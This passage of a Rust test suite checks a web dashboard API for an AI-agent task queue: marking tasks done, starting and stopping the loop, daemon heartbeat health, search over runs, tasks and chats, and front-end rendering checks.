16842 let mut task = Task::new(
16843 "busy".to_owned(),
16844 "Running right now".to_owned(),
16845 PathBuf::from("/repo/magi"),
16846 Source::Human,
16847 );
16848 queue.put(&mut task).expect("file the task");
16849 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16850
16851 let priority = f
16852 .post(
16853 &format!("/api/queue/{}/priority", task.id),
16854 Some(r#"{"priority":9}"#),
16855 )
16856 .await;
16857 assert_eq!(priority.status, 409, "{}", priority.body);
16858
16859 let edit = f
16860 .post(
16861 &format!("/api/queue/{}/edit", task.id),
16862 Some(r#"{"title":"x","instruction":"y"}"#),
16863 )
16864 .await;
16865 assert_eq!(edit.status, 409, "{}", edit.body);
16866 }
16867
16868 #[tokio::test]
16869 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16870 let f = Fixture::start().await;
16871 let queue = f.queue();
16872 let mut task = Task::new(
16873 "shipped by hand".to_owned(),
16874 "merged outside the loop".to_owned(),
16875 PathBuf::from("/repo/magi"),
16876 Source::Agent {
16877 run: "20260101-000000-b455".to_owned(),
16878 node: "implement".to_owned(),
16879 },
16880 );
16881 task.runs.push("20260101-000000-b455".to_owned());
16882 task.runs.push("20260101-000000-9af4".to_owned());
16883 queue.put(&mut task).expect("file the task");
16884 let created_at = task.created_at;
16885
16886 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16887 assert_eq!(done.status, 200, "{}", done.body);
16888 assert_eq!(done.json()["status_str"], "done");
16889
16890 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16891 assert_eq!(
16892 reloaded.runs,
16893 ["20260101-000000-b455", "20260101-000000-9af4"]
16894 );
16895 assert_eq!(
16896 reloaded.source,
16897 Source::Agent {
16898 run: "20260101-000000-b455".to_owned(),
16899 node: "implement".to_owned(),
16900 }
16901 );
16902 assert_eq!(reloaded.created_at, created_at);
16903 }
16904
16905 #[tokio::test]
16906 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16907 let f = Fixture::start().await;
16912 let queue = f.queue();
16913 let mut task = Task::new(
16914 "landed while held".to_owned(),
16915 "x".to_owned(),
16916 PathBuf::from("/repo/magi"),
16917 Source::Human,
16918 );
16919 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16920 queue.put(&mut task).expect("file the held task");
16921
16922 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16923 assert_eq!(done.status, 200, "{}", done.body);
16924 assert_eq!(done.json()["status_str"], "done");
16925 assert!(
16926 done.json()["hold_reason"].is_null(),
16927 "a done task cannot still be waiting on something: {}",
16928 done.body
16929 );
16930 }
16931
16932 #[tokio::test]
16933 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16934 let f = Fixture::start().await;
16939 let queue = f.queue();
16940 let runs = f.runs();
16941 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16942 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16946
16947 let mut task = Task::new(
16948 "landed by hand".to_owned(),
16949 "x".to_owned(),
16950 PathBuf::from("/repo/magi"),
16951 Source::Human,
16952 );
16953 task.runs.push("20260101-000000-doa1".to_owned());
16954 task.runs.push("20260101-000000-doa2".to_owned());
16955 queue.put(&mut task).expect("file the task");
16956
16957 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16958 assert_eq!(done.status, 200, "{}", done.body);
16959
16960 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16961 .expect("run still on disk under this fixture's own home");
16962 assert_eq!(
16963 reloaded_run.status,
16964 RunStatus::Superseded,
16965 "closing the task by hand must relabel the earlier blocked attempt exactly \
16966 like the loop's own settle path does"
16967 );
16968 }
16969
16970 #[tokio::test]
16971 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16972 let f = Fixture::start().await;
16977 let queue = f.queue();
16978 let runs = f.runs();
16979 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16980 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16981
16982 let mut task = Task::new(
16983 "closed with nothing actually landed".to_owned(),
16984 "x".to_owned(),
16985 PathBuf::from("/repo/magi"),
16986 Source::Human,
16987 );
16988 task.runs.push("20260101-000000-dob1".to_owned());
16989 task.runs.push("20260101-000000-dob2".to_owned());
16990 queue.put(&mut task).expect("file the task");
16991
16992 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16993 assert_eq!(done.status, 200, "{}", done.body);
16994
16995 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16996 .expect("run still on disk under this fixture's own home");
16997 assert_eq!(
16998 reloaded_run.status,
16999 RunStatus::Blocked,
17000 "the last recorded attempt never landed, so the earlier one must not be \
17001 relabelled as superseded by it"
17002 );
17003 }
17004
17005 #[tokio::test]
17006 async fn unknown_ids_are_json_not_found_on_both_stores() {
17007 let f = Fixture::start().await;
17008
17009 let run = f.get("/api/runs/nosuchrun").await;
17010 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17011
17012 assert_eq!(run.status, 404);
17013 assert_eq!(task.status, 404);
17014 assert!(
17015 run.json()["error"]
17016 .as_str()
17017 .is_some_and(|e| e.contains("run")),
17018 "the error names what was not found: {}",
17019 run.body
17020 );
17021 assert!(
17022 task.json()["error"]
17023 .as_str()
17024 .is_some_and(|e| e.contains("task")),
17025 "the error names what was not found: {}",
17026 task.body
17027 );
17028 }
17029
17030 #[tokio::test]
17031 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17032 let f = Fixture::start().await;
17033
17034 let missing = f.get("/api/health").await.json();
17035 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17036
17037 write_daemon(
17038 f.home.path(),
17039 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17040 );
17041 let stale = f.get("/api/health").await.json();
17042 assert_eq!(
17043 stale["daemon"]["running"], false,
17044 "a minute without a heartbeat is a dead daemon, not a busy one"
17045 );
17046 assert!(
17047 stale["daemon"]["stale_for_secs"]
17048 .as_i64()
17049 .is_some_and(|s| s >= 55),
17050 "staleness is reported so the UI can say how long: {stale}"
17051 );
17052
17053 write_daemon(f.home.path(), Timestamp::now());
17054 let fresh = f.get("/api/health").await.json();
17055 assert_eq!(fresh["daemon"]["running"], true);
17056 assert_eq!(fresh["daemon"]["idle"], false);
17057 assert_eq!(fresh["daemon"]["pid"], 4242);
17058 assert_eq!(fresh["daemon"]["completed"], 7);
17059 assert_eq!(
17060 fresh["daemon"]["current"][0]["task"],
17061 "20260902-140501-aaaa"
17062 );
17063 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17064 }
17065
17066 #[tokio::test]
17067 async fn the_loop_is_not_running_until_something_starts_it() {
17068 let f = Fixture::start().await;
17069
17070 let view = f.get("/api/loop").await.json();
17071 assert_eq!(view["running"], false);
17072 assert_eq!(
17073 view["owned"], false,
17074 "nobody owns a loop that does not exist: {view}"
17075 );
17076 assert_eq!(view["stopping"], false);
17077 assert_eq!(view["last_error"], Value::Null);
17078 assert_eq!(view["daemon"]["running"], false);
17079 assert_eq!(
17080 view["repo"], "/repo/magi",
17081 "the repository a start would use, named before it is started"
17082 );
17083 }
17084
17085 #[tokio::test]
17086 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17087 let f = Fixture::start().await;
17088
17089 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17090 assert_eq!(res.status, 200, "{}", res.body);
17091 let view = res.json();
17092 assert_eq!(view["running"], true);
17093 assert_eq!(
17094 view["owned"], true,
17095 "the loop the UI started is the UI's own to stop: {view}"
17096 );
17097 assert_eq!(
17098 view["merge"],
17099 Value::Null,
17100 "no override was given, so each repository's own config decides"
17101 );
17102
17103 let health = f.get("/api/health").await.json();
17107 assert_eq!(health["loop"]["running"], true, "{health}");
17108 assert_eq!(health["loop"]["owned"], true, "{health}");
17109
17110 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17111 }
17112
17113 #[tokio::test]
17114 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17115 let f = Fixture::start().await;
17116 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17117 assert_eq!(first.status, 200, "{}", first.body);
17118
17119 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17120 assert_eq!(
17121 again.status, 409,
17122 "two loops on one queue race for the same claims: {}",
17123 again.body
17124 );
17125 assert!(
17126 again.json()["error"]
17127 .as_str()
17128 .is_some_and(|e| e.contains("already running the loop")),
17129 "the refusal has to say why: {}",
17130 again.body
17131 );
17132 assert_eq!(
17133 f.get("/api/loop").await.json()["running"],
17134 true,
17135 "and the loop that was already running is untouched by it"
17136 );
17137
17138 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17139 }
17140
17141 #[tokio::test]
17142 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17143 let f = Fixture::start().await;
17144 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17145
17146 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17147 assert_eq!(
17148 res.status, 200,
17149 "the answer must not wait for the loop: a run in flight is tens of \
17150 minutes and the operator is holding a phone: {}",
17151 res.body
17152 );
17153
17154 let view = settled(&f, |v| v["running"] == false).await;
17155 assert_eq!(view["owned"], false);
17156 assert_eq!(
17157 view["stopping"], false,
17158 "a loop that has stopped is not still stopping: {view}"
17159 );
17160 assert_eq!(
17161 view["last_error"],
17162 Value::Null,
17163 "a loop that was asked to stop did not fail: {view}"
17164 );
17165
17166 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17169 assert_eq!(twice.status, 200, "{}", twice.body);
17170 }
17171
17172 #[tokio::test]
17173 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17174 let f = Fixture::start().await;
17175 write_daemon(f.home.path(), Timestamp::now());
17178
17179 let view = f.get("/api/loop").await.json();
17180 assert_eq!(view["running"], false, "not in this process: {view}");
17181 assert_eq!(view["owned"], false, "and not this process's to control");
17182 assert_eq!(
17183 view["daemon"]["running"], true,
17184 "but a loop is alive somewhere, which is what the UI must say"
17185 );
17186 assert_eq!(view["daemon"]["pid"], 4242);
17187
17188 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17189 let res = f.post("/api/loop", Some(body)).await;
17190 assert_eq!(
17191 res.status, 409,
17192 "neither button may pretend to work on someone else's loop: {}",
17193 res.body
17194 );
17195 assert!(
17196 res.json()["error"]
17197 .as_str()
17198 .is_some_and(|e| e.contains("4242")),
17199 "the refusal has to name the process the operator must go to: {}",
17200 res.body
17201 );
17202 }
17203 assert_eq!(
17204 f.get("/api/loop").await.json()["running"],
17205 false,
17206 "and the refusal started nothing"
17207 );
17208 }
17209
17210 #[tokio::test]
17211 async fn a_stale_status_file_is_not_a_foreign_owner() {
17212 let f = Fixture::start().await;
17213 write_daemon(
17214 f.home.path(),
17215 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17216 );
17217
17218 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17219 assert_eq!(
17220 res.status, 200,
17221 "a daemon killed a minute ago must not lock the loop out of its \
17222 own home for good: {}",
17223 res.body
17224 );
17225 assert_eq!(res.json()["running"], true);
17226
17227 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17228 }
17229
17230 #[tokio::test]
17231 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17232 let f = Fixture::start().await;
17233 let before = f.get("/api/health").await.json()["loop_rev"]
17234 .as_u64()
17235 .expect("a loop revision");
17236
17237 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17238
17239 let after = f.get("/api/health").await.json()["loop_rev"]
17240 .as_u64()
17241 .expect("a loop revision");
17242 assert!(
17243 after > before,
17244 "the loop is in-process state, so this counter is the only thing \
17245 that tells a second device the first one started it: {before} -> \
17246 {after}"
17247 );
17248
17249 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17250 }
17251
17252 #[tokio::test]
17253 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17254 let f = Fixture::with_loop(launch_broken).await;
17255
17256 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17257 assert_eq!(
17258 res.status, 200,
17259 "starting it is not the failure: {}",
17260 res.body
17261 );
17262
17263 let view = settled(&f, |v| v["last_error"].is_string()).await;
17264 assert_eq!(
17265 view["running"], false,
17266 "a loop that died must not read as running, or the operator has \
17267 nothing to press: {view}"
17268 );
17269 assert_eq!(view["owned"], false);
17270 assert!(
17271 view["last_error"]
17272 .as_str()
17273 .is_some_and(|e| e.contains("read-only file system")),
17274 "the phone is where a loop that died at 3am is visible: {view}"
17275 );
17276
17277 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17280 assert_eq!(again.status, 200, "{}", again.body);
17281 assert!(
17282 again.json()["last_error"]
17283 .as_str()
17284 .is_none_or(|e| !e.contains("read-only file system")),
17285 "a fresh start does not keep showing why the last one died: {}",
17286 again.body
17287 );
17288 }
17289
17290 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17302 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17303 let home = TempDir::new().expect("temp home");
17304 let runs = home.path().join("runs");
17305 std::fs::create_dir_all(&runs).expect("runs dir");
17306 let ui = Ui::new(
17307 Queue::at(home.path().join("queue")),
17308 Questions::at(home.path().join("questions")),
17309 Talks::at(home.path().join("talks")),
17310 runs,
17311 home.path().to_path_buf(),
17312 PathBuf::from("/repo/magi"),
17313 )
17314 .with_worktrees_root(home.path().join("wt"))
17315 .with_launch(launch_knocking_on_the_way_out);
17316 let looping = ui.looping();
17317 let turns = ui.turns();
17318 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17319 .await
17320 .expect("bind loopback");
17321 let addr = listener.local_addr().expect("local addr");
17322 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17323 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17324
17325 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17326 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17327
17328 let bound = std::sync::Mutex::new(None);
17343 hand_over(
17344 home.path(),
17345 &looping,
17346 &turns,
17347 &|_: &[String]| Duration::from_secs(5),
17348 served,
17349 |_| {
17350 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17351 let attempt = loop {
17352 match std::net::TcpListener::bind(addr) {
17353 Ok(l) => {
17354 drop(l);
17355 break Ok(());
17356 }
17357 Err(e)
17358 if e.kind() == std::io::ErrorKind::AddrInUse
17359 && std::time::Instant::now() < deadline =>
17360 {
17361 std::thread::sleep(std::time::Duration::from_millis(10));
17362 }
17363 Err(e) => break Err(e.to_string()),
17364 }
17365 };
17366 *bound.lock().expect("bound") = Some(attempt);
17367 Ok(1)
17368 },
17369 )
17370 .await
17371 .expect("hand over");
17372
17373 assert_eq!(
17374 *PARK_HEARD.lock().expect("park heard"),
17375 Some(200),
17376 "the deck must answer while the loop is parking"
17377 );
17378 let attempt = bound
17379 .lock()
17380 .expect("bound")
17381 .take()
17382 .expect("the successor was started");
17383 assert!(
17384 attempt.is_ok(),
17385 "and the address must be free by the time it is: {attempt:?}"
17386 );
17387 }
17388
17389 #[tokio::test]
17390 async fn a_newer_daemon_status_file_still_renders() {
17391 let f = Fixture::start().await;
17392 std::fs::write(
17395 f.home.path().join("daemon.json"),
17396 serde_json::json!({
17397 "schema": 2,
17398 "updated_at": Timestamp::now().to_string(),
17399 "idle": true,
17400 "surprise": { "nested": [1, 2, 3] },
17401 })
17402 .to_string(),
17403 )
17404 .expect("write daemon.json");
17405
17406 let health = f.get("/api/health").await;
17407
17408 assert_eq!(health.status, 200);
17409 assert_eq!(health.json()["daemon"]["running"], true);
17410 }
17411
17412 #[tokio::test]
17413 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17414 let f = Fixture::start().await;
17415 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17416 let broken = f.runs().join("20260902-140502-bad");
17417 std::fs::create_dir_all(&broken).expect("run dir");
17418 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17419
17420 let list = f.get("/api/runs").await;
17421 let detail = f.get("/api/runs/20260902-140502-bad").await;
17422
17423 assert_eq!(list.status, 200);
17424 let listed = list.json();
17425 let ids: Vec<&str> = listed
17426 .as_array()
17427 .expect("an array")
17428 .iter()
17429 .map(|r| r["id"].as_str().expect("an id"))
17430 .collect();
17431 assert_eq!(
17432 ids,
17433 vec!["20260902-140501-good"],
17434 "one unreadable run must not cost the operator the whole history"
17435 );
17436 assert_eq!(detail.status, 500);
17437 assert!(
17438 detail.json()["error"]
17439 .as_str()
17440 .is_some_and(|e| e.contains("run.json")),
17441 "the failure names the file to look at: {}",
17442 detail.body
17443 );
17444 let health = f.get("/api/health").await;
17448 assert_eq!(health.json()["runs_unreadable"], 1);
17449 }
17450
17451 #[tokio::test]
17453 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17454 let f = Fixture::start().await;
17455 let runs = f.runs();
17456 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17457 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17458 let path = runs.join("20260902-140502-bbbb").join("run.json");
17461 let mut v: serde_json::Value =
17462 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17463 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17464 std::fs::write(&path, v.to_string()).unwrap();
17465 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17466 std::fs::write(
17467 runs.join("20260902-140503-cccc").join("run.json"),
17468 "{ not json",
17469 )
17470 .unwrap();
17471
17472 let res = f.get("/api/search?scope=runs&q=quokka").await;
17473 assert_eq!(res.status, 200, "{}", res.body);
17474 let v = res.json();
17475 assert_eq!(v["total"], 1, "{v}");
17476 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17477 assert_eq!(v["hits"][0]["field"], "text");
17478 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17479 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17480 assert!(
17481 parts
17482 .iter()
17483 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17484 "{v}"
17485 );
17486 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17487 assert_eq!(
17488 flat, "The Quokka leaks across threads",
17489 "whitespace is collapsed"
17490 );
17491
17492 let both = f
17494 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17495 .await
17496 .json();
17497 assert_eq!(both["total"], 1, "{both}");
17498 let neither = f
17499 .get("/api/search?scope=runs&q=quokka%20zebra")
17500 .await
17501 .json();
17502 assert_eq!(neither["total"], 0, "{neither}");
17503 let stmt = f
17505 .get("/api/search?scope=runs&q=mobile%20first")
17506 .await
17507 .json();
17508 assert_eq!(stmt["total"], 2, "{stmt}");
17509 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17510 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17511 }
17512
17513 #[test]
17514 fn snippet_ignores_terms_longer_than_the_field() {
17515 let terms = ["ok".to_owned(), "elephant".to_owned()];
17516 let parts = snippet_of("ok", &terms);
17517 assert_eq!(
17518 parts,
17519 vec![SnippetPart {
17520 text: "ok".to_owned(),
17521 hit: true
17522 }]
17523 );
17524 }
17525
17526 #[test]
17527 fn snippet_marks_matches_longer_than_the_window() {
17528 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17529 let hit_len = |parts: &[SnippetPart]| -> usize {
17530 parts
17531 .iter()
17532 .filter(|p| p.hit)
17533 .map(|p| p.text.chars().count())
17534 .sum()
17535 };
17536 let total =
17537 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17538
17539 let long = "a".repeat(120);
17540 let parts = snippet_of(&long, std::slice::from_ref(&long));
17541 assert!(hit_len(&parts) > 0, "{parts:?}");
17542 assert!(total(&parts) <= cap);
17543
17544 let ja = "あ".repeat(130);
17545 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17546 assert!(hit_len(&parts) > 0, "{parts:?}");
17547 assert!(total(&parts) <= cap);
17548
17549 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17551 let term = format!("ab{}", "c".repeat(100));
17552 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17553 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17554 assert!(total(&parts) <= cap);
17555
17556 let text = format!("{}z", "a".repeat(119));
17558 let parts = snippet_of(&text, &["a".repeat(120)]);
17559 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17560 }
17561
17562 #[tokio::test]
17563 async fn search_caps_hits_and_snippet_length() {
17564 let f = Fixture::start().await;
17565 let runs = f.runs();
17566 for n in 0..(SEARCH_MAX_HITS + 5) {
17567 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17568 }
17569 let v = f.get("/api/search?scope=runs&q=web").await.json();
17570 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17571 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17572 assert_eq!(v["truncated"], true);
17573 assert!(
17575 v["hits"]
17576 .as_array()
17577 .unwrap()
17578 .iter()
17579 .all(|h| h["run"]["status"] == "merged")
17580 );
17581
17582 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17583 let parts = snippet_of(&long, &["needle".to_owned()]);
17584 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17585 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17586 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17587 }
17588
17589 #[tokio::test]
17590 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17591 let f = Fixture::start().await;
17592 let queue = f.queue();
17593 let mut t = Task::new(
17594 "short title".to_owned(),
17595 "line one\nthe hidden Armadillo detail".to_owned(),
17596 PathBuf::from("/repo/magi"),
17597 Source::Agent {
17598 run: "r1".to_owned(),
17599 node: "chat".to_owned(),
17600 },
17601 );
17602 t.last_error = Some("disk full on /tmp".to_owned());
17603 queue.put(&mut t).expect("file the task");
17604
17605 for (q, want) in [
17606 ("armadillo", 1),
17607 ("disk%20FULL", 1),
17608 ("chat", 1),
17609 ("queued", 1),
17610 ("short%20nothing", 0),
17611 ] {
17612 let v = f
17613 .get(&format!("/api/search?scope=tasks&q={q}"))
17614 .await
17615 .json();
17616 assert_eq!(v["total"], want, "{q}: {v}");
17617 }
17618 for bad in [
17619 "/api/search?scope=tasks&q=",
17620 "/api/search?scope=tasks&q=%20",
17621 "/api/search?scope=chats&q=",
17622 "/api/search?scope=chats&q=%20",
17623 "/api/search?scope=nope&q=a",
17624 "/api/search?q=a",
17625 ] {
17626 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17627 }
17628 }
17629
17630 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17632 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17633 .expect("seat value");
17634 let turns: Vec<serde_json::Value> = turns
17635 .iter()
17636 .map(|(who, body)| {
17637 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17638 })
17639 .collect();
17640 let doc = serde_json::json!({
17641 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17642 "status": status, "turns": turns,
17643 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17644 "seat": seat,
17645 });
17646 let dir = f.home.path().join("talks");
17647 std::fs::create_dir_all(&dir).expect("talks dir");
17648 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17649 }
17650
17651 #[tokio::test]
17652 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17653 let f = Fixture::start().await;
17654 write_talk(
17655 &f,
17656 "20260901-000001-aaaa",
17657 "open",
17658 &[
17659 (
17660 "operator",
17661 "\n Why does the Pangolin cache expire?\nsecond line",
17662 ),
17663 ("agent", "Because the TTL is thirty seconds."),
17664 ],
17665 );
17666 write_talk(
17667 &f,
17668 "20260901-000002-bbbb",
17669 "closed",
17670 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17671 );
17672 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17673
17674 let search = |q: &'static str| {
17675 let f = &f;
17676 async move {
17677 f.get(&format!("/api/search?scope=chats&q={q}"))
17678 .await
17679 .json()
17680 }
17681 };
17682
17683 let v = search("PANGOLIN").await;
17684 assert_eq!(v["scope"], "chats");
17685 assert_eq!(v["total"], 1, "{v}");
17686 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17687 assert_eq!(v["hits"][0]["field"], "title");
17688 assert_eq!(v["unreadable"], 1, "{v}");
17689 let marked: Vec<&str> = v["hits"][0]["snippet"]
17690 .as_array()
17691 .unwrap()
17692 .iter()
17693 .filter(|p| p["hit"] == true)
17694 .map(|p| p["text"].as_str().unwrap())
17695 .collect();
17696 assert_eq!(marked, ["Pangolin"]);
17697
17698 let v = search("zebra").await;
17700 assert_eq!(v["total"], 1, "{v}");
17701 assert_eq!(v["hits"][0]["field"], "agent");
17702 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17704 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17705 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17707 assert_eq!(search(q).await["total"], 0, "{q}");
17708 }
17709 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17711 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17713
17714 let v = f.get("/api/search?scope=nope&q=a").await;
17715 assert_eq!(v.status, 400);
17716 assert!(
17717 v.body.contains("scope must be runs, tasks or chats"),
17718 "{}",
17719 v.body
17720 );
17721 }
17722
17723 #[test]
17724 fn a_question_card_links_a_task_id_to_the_task_page() {
17725 let start = APP_JS
17726 .find("function updateAskCard(")
17727 .expect("updateAskCard exists");
17728 let body = &APP_JS[start..];
17729 let body = &body[..body.find("\n}\n").expect("function end")];
17730 assert!(body.contains("question.run_is_task"));
17731 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17732 assert!(body.contains("`#/runs/${question.run}`"));
17733 assert!(body.contains("\"task\" : \"run\""));
17734 }
17735
17736 #[test]
17737 fn plain_text_message_surfaces_go_through_linkify() {
17738 assert!(APP_JS.contains("function linkify("));
17739 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17740 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17741 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17742 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17743 assert!(!APP_JS.contains("innerHTML = text"));
17744 }
17745
17746 #[test]
17747 fn implementation_rate_views_keep_independent_samples() {
17748 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17749 let a = stats::AgentStats {
17750 competitive_entered: competitive_n,
17751 competitive_wins: usize::from(competitive_n > 0),
17752 solo_entered: solo_n,
17753 solo_adopted: 2 * usize::from(solo_n > 0),
17754 ..Default::default()
17755 };
17756 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17757 for (key, n, numerator) in [
17758 ("competitive_win_rate", competitive_n, a.competitive_wins),
17759 ("solo_adoption_rate", solo_n, a.solo_adopted),
17760 ] {
17761 if n == 0 {
17762 assert!(v[key].is_null());
17763 } else {
17764 assert_eq!(v[key]["denominator"], n);
17765 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17766 }
17767 }
17768 }
17769 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17770 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17771 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17772 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17773 }
17774
17775 #[test]
17776 fn stats_bars_share_one_id_keyed_plan() {
17777 let start = APP_JS
17778 .find("function statsBarRows(")
17779 .expect("statsBarRows exists");
17780 let body = &APP_JS[start..];
17781 let body = &body[..body.find("\n}\n").expect("function end")];
17782 assert!(body.contains("statsBarPlan(rows)"));
17783 assert!(body.contains("statsAgentTone(row.agent)"));
17784 assert!(!body.contains("candTone(i)"));
17785 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17786 for root in [
17787 "stats-agents-bars",
17788 "stats-solo-bars",
17789 "stats-reviewers-bars",
17790 ] {
17791 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17792 }
17793 }
17794
17795 #[test]
17796 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17797 let start = APP_JS
17798 .find("function renderStatsReviewerScatter(")
17799 .expect("renderStatsReviewerScatter exists");
17800 let body = &APP_JS[start..];
17801 let body = &body[..body.find("\n}\n").expect("function end")];
17802 assert!(body.contains("statsScatterPlan(reviewers)"));
17803 assert!(body.contains("statsAgentTone(d.agent)"));
17804 assert!(APP_JS.contains("function statsScatterPlan("));
17805 assert!(
17806 APP_JS.contains("d.submitted < STATS_LOW_N")
17807 || APP_JS.contains("r.submitted < STATS_LOW_N")
17808 );
17809 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17810 assert!(APP_CSS.contains(".precision-scatter"));
17811 }
17812
17813 #[test]
17814 fn advisor_reflection_is_drawn_as_stacked_segments() {
17815 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17816 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
